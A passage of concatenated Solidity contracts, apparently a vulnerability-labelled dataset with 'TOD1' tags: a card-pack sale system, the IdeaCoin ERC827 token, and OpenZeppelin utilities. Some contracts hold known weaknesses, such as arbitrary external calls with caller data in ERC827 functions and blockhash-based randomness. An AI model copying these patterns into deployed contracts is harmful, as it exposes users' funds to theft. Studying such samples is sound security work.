god, Rarity rarity, uint8 mana, uint8 attack, uint8 health, uint8 tribe, bool packable ) public onlyGovernor returns(uint16) { ProtoCard memory card = ProtoCard({ exists: true, god: god, season: currentSeason, cardType: MINION, rarity: rarity, mana: mana, attack: attack, health: health, tribe: tribe }); _addProto(externalID, card, packable); } function _addProto(uint16 externalID, ProtoCard memory card, bool packable) internal { require(!protos[externalID].exists); card.exists = true; protos[externalID] = card; protoCount++; emit NewProtoCard( externalID, currentSeason, card.god, card.rarity, card.mana, card.attack, card.health, card.cardType, card.tribe, packable ); if (packable) { Rarity rarity = card.rarity; if (rarity == Rarity.Common) { common.push(externalID); } else if (rarity == Rarity.Rare) { rare.push(externalID); } else if (rarity == Rarity.Epic) { epic.push(externalID); } else if (rarity == Rarity.Legendary) { legendary.push(externalID); } else if (rarity == Rarity.Mythic) { mythic.push(externalID); } else { require(false); } } } function getProto(uint16 id) public view returns( bool exists, uint8 god, uint8 season, uint8 cardType, Rarity rarity, uint8 mana, uint8 attack, uint8 health, uint8 tribe ) { ProtoCard memory proto = protos[id]; return ( proto.exists, proto.god, proto.season, proto.cardType, proto.rarity, proto.mana, proto.attack, proto.health, proto.tribe ); } function getRandomCard(Rarity rarity, uint16 random) public view returns (uint16) { // modulo bias is fine - creates rarity tiers etc // will obviously revert is there are no cards of that type: this is expected - should never happen if (rarity == Rarity.Common) { return common[random % common.length]; } else if (rarity == Rarity.Rare) { return rare[random % rare.length]; } else if (rarity == Rarity.Epic) { return epic[random % epic.length]; } else if (rarity == Rarity.Legendary) { return legendary[random % legendary.length]; } else if (rarity == Rarity.Mythic) { // make sure a mythic is available uint16 id; uint64 limit; bool set; for (uint i = 0; i < mythic.length; i++) { id = mythic[(random + i) % mythic.length]; (limit, set) = getLimit(id); if (set && limit > 0){ return id; } } // if not, they get a legendary :( return legendary[random % legendary.length]; } require(false); return 0; } // can never adjust tradable cards // each season gets a 'balancing beta' // totally immutable: season, rarity function replaceProto( uint16 index, uint8 god, uint8 cardType, uint8 mana, uint8 attack, uint8 health, uint8 tribe ) public onlyGovernor { ProtoCard memory pc = protos[index]; require(!seasonTradable[pc.season]); protos[index] = ProtoCard({ exists: true, god: god, season: pc.season, cardType: cardType, rarity: pc.rarity, mana: mana, attack: attack, health: health, tribe: tribe }); } } contract MigrationInterface { function createCard(address user, uint16 proto, uint16 purity) public returns (uint); function getRandomCard(CardProto.Rarity rarity, uint16 random) public view returns (uint16); function migrate(uint id) public; } contract CardPackThree { MigrationInterface public migration; uint public creationBlock; constructor(MigrationInterface _core) public payable { migration = _core; creationBlock = 5939061 + 2000; // set to creation block of first contracts + 8 hours for down time } event Referral(address indexed referrer, uint value, address purchaser); /** * purchase 'count' of this type of pack */ function purchase(uint16 packCount, address referrer) public payable; // store purity and shine as one number to save users gas function _getPurity(uint16 randOne, uint16 randTwo) internal pure returns (uint16) { if (randOne >= 998) { return 3000 + randTwo; } else if (randOne >= 988) { return 2000 + randTwo; } else if (randOne >= 938) { return 1000 + randTwo; } else { return randTwo; } } } contract FirstPheonix is Pausable { MigrationInterface core; constructor(MigrationInterface _core) public { core = _core; } address[] public approved; uint16 PHEONIX_PROTO = 380; mapping(address => bool) public claimed; function approvePack(address toApprove) public onlyOwner { approved.push(toApprove); } function isApproved(address test) public view returns (bool) { for (uint i = 0; i < approved.length; i++) { if (approved[i] == test) { return true; } } return false; } // pause once cards become tradable function claimPheonix(address user) public returns (bool){ require(isApproved(msg.sender)); if (claimed[user] || paused){ return false; } claimed[user] = true; core.createCard(user, PHEONIX_PROTO, 0); return true; } } contract PresalePackThree is CardPackThree, Pausable { CappedVault public vault; Purchase[] public purchases; function getPurchaseCount() public view returns (uint) { return purchases.length; } struct Purchase { uint16 current; uint16 count; address user; uint randomness; uint64 commit; } event PacksPurchased(uint indexed id, address indexed user, uint16 count); event PackOpened(uint indexed id, uint16 startIndex, address indexed user, uint[] cardIDs); event RandomnessReceived(uint indexed id, address indexed user, uint16 count, uint randomness); constructor(MigrationInterface _core, CappedVault _vault) public payable CardPackThree(_core) { vault = _vault; } function basePrice() public returns (uint); function getCardDetails(uint16 packIndex, uint8 cardIndex, uint result) public view returns (uint16 proto, uint16 purity); function packSize() public view returns (uint8) { return 5; } function packsPerClaim() public view returns (uint16) { return 15; } // start in bytes, length in bytes function extract(uint num, uint length, uint start) internal pure returns (uint) { return (((1 << (length * 8)) - 1) & (num >> ((start * 8) - 1))); } function purchase(uint16 packCount, address referrer) whenNotPaused public payable { require(packCount > 0); require(referrer != msg.sender); uint price = calculatePrice(basePrice(), packCount); require(msg.value >= price); Purchase memory p = Purchase({ user: msg.sender, count: packCount, commit: uint64(block.number), randomness: 0, current: 0 }); uint id = purchases.push(p) - 1; emit PacksPurchased(id, msg.sender, packCount); if (referrer != address(0)) { uint commission = price / 10; referrer.transfer(commission); price -= commission; emit Referral(referrer, commission, msg.sender); } address(vault).transfer(price); } // can be called by anybody // can miners withhold blocks --> not really // giving up block reward for extra chance --> still really low function callback(uint id) public { Purchase storage p = purchases[id]; require(p.randomness == 0); bytes32 bhash = blockhash(p.commit); // will get the same on every block // only use properties which can't be altered by the user uint random = uint(keccak256(abi.encodePacked(bhash, p.user, address(this), p.count))); // can't callback on the original block require(uint64(block.number) != p.commit); if (uint(bhash) == 0) { // should never happen (must call within next 256 blocks) // if it does, just give them 1: will become common and therefore less valuable // set to 1 rather than 0 to avoid calling claim before randomness p.randomness = 1; } else { p.randomness = random; } emit RandomnessReceived(id, p.user, p.count, p.randomness); } function claim(uint id) public { Purchase storage p = purchases[id]; require(canClaim); uint16 proto; uint16 purity; uint16 count = p.count; uint result = p.randomness; uint8 size = packSize(); address user = p.user; uint16 current = p.current; require(result != 0); // have to wait for the callback // require(user == msg.sender); // not needed require(count > 0); uint[] memory ids = new uint[](size); uint16 end = current + packsPerClaim() > count ? count : current + packsPerClaim(); require(end > current); for (uint16 i = current; i < end; i++) { for (uint8 j = 0; j < size; j++) { (proto, purity) = getCardDetails(i, j, result); ids[j] = migration.createCard(user, proto, purity); } emit PackOpened(id, (i * size), user, ids); } p.current += (end - current); } function predictPacks(uint id) external view returns (uint16[] protos, uint16[] purities) { Purchase memory p = purchases[id]; uint16 proto; uint16 purity; uint16 count = p.count; uint result = p.randomness; uint8 size = packSize(); purities = new uint16[](size * count); protos = new uint16[](size * count); for (uint16 i = 0; i < count; i++) { for (uint8 j = 0; j < size; j++) { (proto, purity) = getCardDetails(i, j, result); purities[(i * size) + j] = purity; protos[(i * size) + j] = proto; } } return (protos, purities); } function calculatePrice(uint base, uint16 packCount) public view returns (uint) { // roughly 6k blocks per day uint difference = block.number - creationBlock; uint numDays = difference / 6000; if (20 > numDays) { return (base - (((20 - numDays) * base) / 100)) * packCount; } return base * packCount; } function _getCommonPlusRarity(uint32 rand) internal pure returns (CardProto.Rarity) { if (rand == 999999) { return CardProto.Rarity.Mythic; } else if (rand >= 998345) { return CardProto.Rarity.Legendary; } else if (rand >= 986765) { return CardProto.Rarity.Epic; } else if (rand >= 924890) { return CardProto.Rarity.Rare; } else { return CardProto.Rarity.Common; } } function _getRarePlusRarity(uint32 rand) internal pure returns (CardProto.Rarity) { if (rand == 999999) { return CardProto.Rarity.Mythic; } else if (rand >= 981615) { return CardProto.Rarity.Legendary; } else if (rand >= 852940) { return CardProto.Rarity.Epic; } else { return CardProto.Rarity.Rare; } } function _getEpicPlusRarity(uint32 rand) internal pure returns (CardProto.Rarity) { if (rand == 999999) { return CardProto.Rarity.Mythic; } else if (rand >= 981615) { return CardProto.Rarity.Legendary; } else { return CardProto.Rarity.Epic; } } function _getLegendaryPlusRarity(uint32 rand) internal pure returns (CardProto.Rarity) { if (rand == 999999) { return CardProto.Rarity.Mythic; } else { return CardProto.Rarity.Legendary; } } bool public canClaim = true; function setCanClaim(bool claim) public onlyOwner { canClaim = claim; } function getComponents( uint16 i, uint8 j, uint rand ) internal returns ( uint random, uint32 rarityRandom, uint16 purityOne, uint16 purityTwo, uint16 protoRandom ) { random = uint(keccak256(abi.encodePacked(i, rand, j))); rarityRandom = uint32(extract(random, 4, 10) % 1000000); purityOne = uint16(extract(random, 2, 4) % 1000); purityTwo = uint16(extract(random, 2, 6) % 1000); protoRandom = uint16(extract(random, 2, 8) % (2**16-1)); return (random, rarityRandom, purityOne, purityTwo, protoRandom); } function withdraw() public onlyOwner { owner.transfer(address(this).balance); } } contract PackMultiplier is PresalePackThree { address[] public packs; uint16 public multiplier = 3; FirstPheonix pheonix; PreviousInterface old; uint16 public packLimit = 5; constructor(PreviousInterface _old, address[] _packs, MigrationInterface _core, CappedVault vault, FirstPheonix _pheonix) public PresalePackThree(_core, vault) { packs = _packs; pheonix = _pheonix; old = _old; } function getCardCount() internal view returns (uint) { return old.totalSupply() + old.burnCount(); } function isPriorPack(address test) public view returns(bool) { for (uint i = 0; i < packs.length; i++) { if (packs[i] == test) { return true; } } return false; } event Status(uint before, uint aft); function claimMultiple(address pack, uint purchaseID) public returns (uint16, address) { require(isPriorPack(pack)); uint length = getCardCount(); PresalePackThree(pack).claim(purchaseID); uint lengthAfter = getCardCount(); require(lengthAfter > length); uint16 cardDifference = uint16(lengthAfter - length); require(cardDifference % 5 == 0); uint16 packCount = cardDifference / 5; uint16 extra = packCount * multiplier; address lastCardOwner = old.ownerOf(lengthAfter - 1); Purchase memory p = Purchase({ user: lastCardOwner, count: extra, commit: uint64(block.number), randomness: 0, current: 0 }); uint id = purchases.push(p) - 1; emit PacksPurchased(id, lastCardOwner, extra); // try to give them a first pheonix pheonix.claimPheonix(lastCardOwner); emit Status(length, lengthAfter); if (packCount <= packLimit) { for (uint i = 0; i < cardDifference; i++) { migration.migrate(lengthAfter - 1 - i); } } return (extra, lastCardOwner); } function setPackLimit(uint16 limit) public onlyOwner { packLimit = limit; } } contract ShinyLegendaryPackThree is PackMultiplier { function basePrice() public returns (uint) { return 1 ether; } TournamentPass public tournament; constructor(PreviousInterface _old, address[] _packs, MigrationInterface _core, CappedVault vault, TournamentPass _tournament, FirstPheonix _pheonix) public PackMultiplier(_old, _packs, _core, vault, _pheonix) { tournament = _tournament; } function claimMultiple(address pack, uint purchaseID) public returns (uint16, address) { uint16 extra; address user; (extra, user) = super.claimMultiple(pack, purchaseID); tournament.mint(user, extra); } function getCardDetails(uint16 packIndex, uint8 cardIndex, uint result) public view returns (uint16 proto, uint16 purity) { uint random; uint32 rarityRandom; uint16 protoRandom; uint16 purityOne; uint16 purityTwo; CardProto.Rarity rarity; (random, rarityRandom, purityOne, purityTwo, protoRandom) = getComponents(packIndex, cardIndex, result); if (cardIndex == 4) { rarity = _getLegendaryPlusRarity(rarityRandom); purity = _getShinyPurity(purityOne, purityTwo); } else if (cardIndex == 3) { rarity = _getRarePlusRarity(rarityRandom); purity = _getPurity(purityOne, purityTwo); } else { rarity = _getCommonPlusRarity(rarityRandom); purity = _getPurity(purityOne, purityTwo); } proto = migration.getRandomCard(rarity, protoRandom); return (proto, purity); } function _getShinyPurity(uint16 randOne, uint16 randTwo) public pure returns (uint16) { if (randOne >= 998) { return 3000 + randTwo; } else if (randOne >= 748) { return 2000 + randTwo; } else { return 1000 + randTwo; } } }
TOD1
pragma solidity ^0.4.18; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } ///////////////////////////////////////////////////////////////////////////////////////////// /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferIDCContractOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } ///////////////////////////////////////////////////////////////////////////////////////////// /** * @title Claimable * @dev Extension for the Ownable contract, where the ownership needs to be claimed. * This allows the new owner to accept the transfer. */ contract Claimable is Ownable { address public pendingOwner; /** * @dev Modifier throws if called by any account other than the pendingOwner. */ modifier onlyPendingOwner() { require(msg.sender == pendingOwner); _; } /** * @dev Allows the current owner to set the pendingOwner address. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public { pendingOwner = newOwner; } /** * @dev Allows the pendingOwner address to finalize the transfer. */ function claimOwnership() onlyPendingOwner public { emit OwnershipTransferred(owner, pendingOwner); owner = pendingOwner; pendingOwner = address(0); } } ///////////////////////////////////////////////////////////////////////////////////////////// /** * @title Contracts that should be able to recover tokens * @author SylTi * @dev This allow a contract to recover any ERC20 token received in a contract by transferring the balance to the contract owner. * This will prevent any accidental loss of tokens. */ contract CanReclaimToken is Ownable { using SafeERC20 for ERC20Basic; /** * @dev Reclaim all ERC20Basic compatible tokens * @param token ERC20Basic The address of the token contract */ function reclaimToken(ERC20Basic token) external onlyOwner { uint256 balance = token.balanceOf(this); token.safeTransfer(owner, balance); } } ///////////////////////////////////////////////////////////////////////////////////////////// /** * @title Contactable token * @dev Basic version of a contactable contract, allowing the owner to provide a string with their * contact information. */ contract Contactable is Ownable { string public contactInformation; /** * @dev Allows the owner to set a string with their contact information. * @param info The contact information to attach to the contract. */ function setContactInformation(string info) onlyOwner public { contactInformation = info; } } ///////////////////////////////////////////////////////////////////////////////////////////// /** * @title Contracts that should not own Contracts * @author Remco Bloemen <remco@2π.com> * @dev Should contracts (anything Ownable) end up being owned by this contract, it allows the owner * of this contract to reclaim ownership of the contracts. */ contract HasNoContracts is Ownable { /** * @dev Reclaim ownership of Ownable contracts * @param contractAddr The address of the Ownable to be reclaimed. */ function reclaimContract(address contractAddr) external onlyOwner { Ownable contractInst = Ownable(contractAddr); contractInst.transferIDCContractOwnership(owner); } } ///////////////////////////////////////////////////////////////////////////////////////////// ///////////////////////////////////////////////////////////////////////////////////////////// /** * @title Contracts that should not own Tokens * @author Remco Bloemen <remco@2π.com> * @dev This blocks incoming ERC223 tokens to prevent accidental loss of tokens. * Should tokens (any ERC20Basic compatible) end up in the contract, it allows the * owner to reclaim the tokens. */ contract HasNoTokens is CanReclaimToken { /** * @dev Reject all ERC223 compatible tokens * @param from_ address The address that is transferring the tokens * @param value_ uint256 the amount of the specified token * @param data_ Bytes The data passed from the caller. */ function tokenFallback(address from_, uint256 value_, bytes data_) pure external { from_; value_; data_; revert(); } } ///////////////////////////////////////////////////////////////////////////////////////////// /** * @title Destructible * @dev Base contract that can be destroyed by owner. All funds in contract will be sent to the owner. */ contract Destructible is Ownable { function Destructible() public payable { } /** * @dev Transfers the current balance to the owner and terminates the contract. */ function destroy() onlyOwner public { selfdestruct(owner); } function destroyAndSend(address _recipient) onlyOwner public { selfdestruct(_recipient); } } ///////////////////////////////////////////////////////////////////////////////////////////// /** * @title Pausable * @dev Base contract which allows children to implement an emergency stop mechanism. */ contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; /** * @dev Modifier to make a function callable only when the contract is not paused. */ modifier whenNotPaused() { require(!paused); _; } /** * @dev Modifier to make a function callable only when the contract is paused. */ modifier whenPaused() { require(paused); _; } /** * @dev called by the owner to pause, triggers stopped state */ function pause() onlyOwner whenNotPaused public { paused = true; emit Pause(); } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() onlyOwner whenPaused public { paused = false; emit Unpause(); } } ///////////////////////////////////////////////////////////////////////////////////////////// contract ERC20Basic { string internal _symbol; string internal _name; uint8 internal _decimals; uint internal _totalSupply; mapping (address => uint) internal _balanceOf; mapping (address => mapping (address => uint)) internal _allowances; function ERC20Basic(string symbol, string name, uint8 decimals, uint totalSupply) public { _symbol = symbol; _name = name; _decimals = decimals; _totalSupply = totalSupply; } function name() public constant returns (string) { return _name; } function symbol() public constant returns (string) { return _symbol; } function decimals() public constant returns (uint8) { return _decimals; } function totalSupply() public constant returns (uint) { return _totalSupply; } function balanceOf(address _addr) public constant returns (uint); function transfer(address _to, uint _value) public returns (bool); event Transfer(address indexed _from, address indexed _to, uint _value); } ///////////////////////////////////////////////////////////////////////////////////////////// contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } ///////////////////////////////////////////////////////////////////////////////////////////// /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure. * To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { function safeTransfer(ERC20Basic token, address to, uint256 value) internal { assert(token.transfer(to, value)); } function safeTransferFrom(ERC20 token, address from, address to, uint256 value) internal { assert(token.transferFrom(from, to, value)); } function safeApprove(ERC20 token, address spender, uint256 value) internal { assert(token.approve(spender, value)); } } ///////////////////////////////////////////////////////////////////////////////////////////// /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic, Ownable { using SafeMath for uint256; mapping (address => bool) public frozenAccount; event FrozenFunds(address target, bool frozen); uint256 totalSupply_; /** * @dev total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } function freezeAccount(address target, bool freeze) onlyOwner external { frozenAccount[target] = freeze; emit FrozenFunds(target, freeze); } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(!frozenAccount[msg.sender]); require(_to != address(0)); require(_value <= _balanceOf[msg.sender]); // SafeMath.sub will throw if there is not enough balance. _balanceOf[msg.sender] = _balanceOf[msg.sender].sub(_value); _balanceOf[_to] = _balanceOf[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256 balance) { return _balanceOf[_owner]; } } ///////////////////////////////////////////////////////////////////////////////////////////// /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(!frozenAccount[_from] && !frozenAccount[_to] && !frozenAccount[msg.sender]); require(_to != address(0)); require(_value <= _balanceOf[_from]); require(_value <= allowed[_from][msg.sender]); _balanceOf[_from] = _balanceOf[_from].sub(_value); _balanceOf[_to] = _balanceOf[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } ///////////////////////////////////////////////////////////////////////////////////////////// ///////////////////////////////////////////////////////////////////////////////////////////// contract PausableToken is StandardToken, Pausable { function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) { return super.transfer(_to, _value); } function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) { return super.transferFrom(_from, _to, _value); } function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) { return super.approve(_spender, _value); } function increaseApproval(address _spender, uint _addedValue) public whenNotPaused returns (bool success) { return super.increaseApproval(_spender, _addedValue); } function decreaseApproval(address _spender, uint _subtractedValue) public whenNotPaused returns (bool success) { return super.decreaseApproval(_spender, _subtractedValue); } } ///////////////////////////////////////////////////////////////////////////////////////////// /** @title ERC827 interface, an extension of ERC20 token standard Interface of a ERC827 token, following the ERC20 standard with extra methods to transfer value and data and execute calls in transfers and approvals. */ contract ERC827 is ERC20 { function approve( address _spender, uint256 _value, bytes _data ) public returns (bool); function transfer( address _to, uint256 _value, bytes _data ) public returns (bool); function transferFrom( address _from, address _to, uint256 _value, bytes _data ) public returns (bool); } ///////////////////////////////////////////////////////////////////////////////////////////// /** @title ERC827, an extension of ERC20 token standard Implementation the ERC827, following the ERC20 standard with extra methods to transfer value and data and execute calls in transfers and approvals. Uses OpenZeppelin StandardToken. */ contract ERC827Token is ERC827, StandardToken { /** @dev Addition to ERC20 token methods. It allows to approve the transfer of value and execute a call with the sent data. Beware that changing an allowance with this method brings the risk that someone may use both the old and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 @param _spender The address that will spend the funds. @param _value The amount of tokens to be spent. @param _data ABI-encoded contract call to call `_to` address. @return true if the call function was executed successfully */ function approve(address _spender, uint256 _value, bytes _data) public returns (bool) { require(!frozenAccount[msg.sender] && !frozenAccount[_spender]); require(_spender != address(this)); super.approve(_spender, _value); require(_spender.call(_data)); return true; } /** @dev Addition to ERC20 token methods. Transfer tokens to a specified address and execute a call with the sent data on the same transaction @param _to address The address which you want to transfer to @param _value uint256 the amout of tokens to be transfered @param _data ABI-encoded contract call to call `_to` address. @return true if the call function was executed successfully */ function transfer(address _to, uint256 _value, bytes _data) public returns (bool) { require(_to != address(this)); super.transfer(_to, _value); require(_to.call(_data)); return true; } /** @dev Addition to ERC20 token methods. Transfer tokens from one address to another and make a contract call on the same transaction @param _from The address which you want to send tokens from @param _to The address which you want to transfer to @param _value The amout of tokens to be transferred @param _data ABI-encoded contract call to call `_to` address. @return true if the call function was executed successfully */ function transferFrom(address _from, address _to, uint256 _value, bytes _data) public returns (bool) { require(_to != address(this)); super.transferFrom(_from, _to, _value); require(_to.call(_data)); return true; } /** * @dev Addition to StandardToken methods. Increase the amount of tokens that * an owner allowed to a spender and execute a call with the sent data. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. * @param _data ABI-encoded contract call to call `_spender` address. */ function increaseApproval(address _spender, uint _addedValue, bytes _data) public returns (bool) { require(_spender != address(this)); super.increaseApproval(_spender, _addedValue); require(_spender.call(_data)); return true; } /** * @dev Addition to StandardToken methods. Decrease the amount of tokens that * an owner allowed to a spender and execute a call with the sent data. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. * @param _data ABI-encoded contract call to call `_spender` address. */ function decreaseApproval(address _spender, uint _subtractedValue, bytes _data) public returns (bool) { require(_spender != address(this)); super.decreaseApproval(_spender, _subtractedValue); require(_spender.call(_data)); return true; } } ///////////////////////////////////////////////////////////////////////////////////////////// interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) external; } // IdeaCoin Contract Starts Here///////////////////////////////////////////////////////////////////////////////////////////// contract IdeaCoin is ERC20Basic("IDC", "IdeaCoin", 18, 1000000000000000000000000), ERC827Token, PausableToken, Destructible, Contactable, HasNoTokens, HasNoContracts { using SafeMath for uint; event Burn(address _from, uint256 _value); event Mint(address _to, uint _value); function IdeaCoin() public { _balanceOf[msg.sender] = _totalSupply; } function totalSupply() public constant returns (uint) { return _totalSupply; } function balanceOf(address _addr) public constant returns (uint) { return _balanceOf[_addr]; } function burn(address _from, uint256 _value) onlyOwner external { require(_balanceOf[_from] >= 0); _balanceOf[_from] = _balanceOf[_from].sub(_value); _totalSupply = _totalSupply.sub(_value); emit Burn(_from, _value); } function mintToken(address _to, uint256 _value) onlyOwner external { require(!frozenAccount[msg.sender] && !frozenAccount[_to]); _balanceOf[_to] = _balanceOf[_to].add(_value); _totalSupply = _totalSupply.add(_value); emit Mint(_to,_value); } } ////////////////////////////////////////////////////////////////////////////////////////////
TOD1
// File: openzeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol pragma solidity ^0.4.24; /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * See https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address _who) public view returns (uint256); function transfer(address _to, uint256 _value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } // File: openzeppelin-solidity/contracts/token/ERC20/ERC20.sol pragma solidity ^0.4.24; /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address _owner, address _spender) public view returns (uint256); function transferFrom(address _from, address _to, uint256 _value) public returns (bool); function approve(address _spender, uint256 _value) public returns (bool); event Approval( address indexed owner, address indexed spender, uint256 value ); } // File: openzeppelin-solidity/contracts/math/SafeMath.sol pragma solidity ^0.4.24; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) { // Gas optimization: this is cheaper than asserting 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (_a == 0) { return 0; } c = _a * _b; assert(c / _a == _b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 _a, uint256 _b) internal pure returns (uint256) { // assert(_b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = _a / _b; // assert(_a == _b * c + _a % _b); // There is no case in which this doesn't hold return _a / _b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 _a, uint256 _b) internal pure returns (uint256) { assert(_b <= _a); return _a - _b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 _a, uint256 _b) internal pure returns (uint256 c) { c = _a + _b; assert(c >= _a); return c; } } // File: contracts/Utils/Ownable.sol pragma solidity ^0.4.24; /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner, "msg.sender not owner"); _; } /** * @dev Allows the current owner to relinquish control of the contract. * @notice Renouncing to ownership will leave the contract without an owner. * It will not be possible to call the functions with the `onlyOwner` * modifier anymore. */ function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function transferOwnership(address _newOwner) public onlyOwner { _transferOwnership(_newOwner); } /** * @dev Transfers control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function _transferOwnership(address _newOwner) internal { require(_newOwner != address(0), "_newOwner == 0"); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } } // File: contracts/Utils/Destructible.sol pragma solidity ^0.4.24; /** * @title Destructible * @dev Base contract that can be 